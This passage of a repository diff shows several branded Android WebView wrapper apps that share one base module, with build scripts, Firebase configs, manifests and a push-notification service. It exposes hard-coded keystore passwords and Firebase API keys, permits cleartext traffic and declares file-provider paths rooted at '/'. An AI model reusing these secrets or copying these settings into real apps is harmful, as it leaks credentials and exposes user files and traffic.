} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "686143781708",
"project_id": "jdclub9vip26",
"storage_bucket": "jdclub9vip26.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:686143781708:android:4e9ad7d8daf97f8c412de9",
"android_client_info": {
"package_name": "com.jsbadja.JDCLUB9VIP26"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyAVemRKicLMAaz7CAfeR3B4C5nJiZfn4p8"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
JDCLUB9VIP/justlet.jks Normal file

Binary file not shown.

32
JDCLUB9VIP/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
JDCLUB9VIP/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'JiliRaja99')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "269"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'Joker9au')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "297"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
KINGCUCI/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
KINGCUCI/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "KINGCUCI"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.ashda.KINGCUCI"
//app大背景色
resValue('color', 'windows_color', '#000000')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#E96006')
//app 名字
resValue('string', 'app_name', 'KINGCUCI')
buildConfigField "int", "USERID", "304"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "false"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "407032578282",
"project_id": "kingcuci",
"storage_bucket": "kingcuci.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:407032578282:android:c8870d9f7b23cea0f2d793",
"android_client_info": {
"package_name": "com.ashda.KINGCUCI"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyBwBa58YSXSbEZcA3Jkol9N9kHqmBQ8YTU"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
KINGCUCI/justlet.jks Normal file

Binary file not shown.

32
KINGCUCI/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 198 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
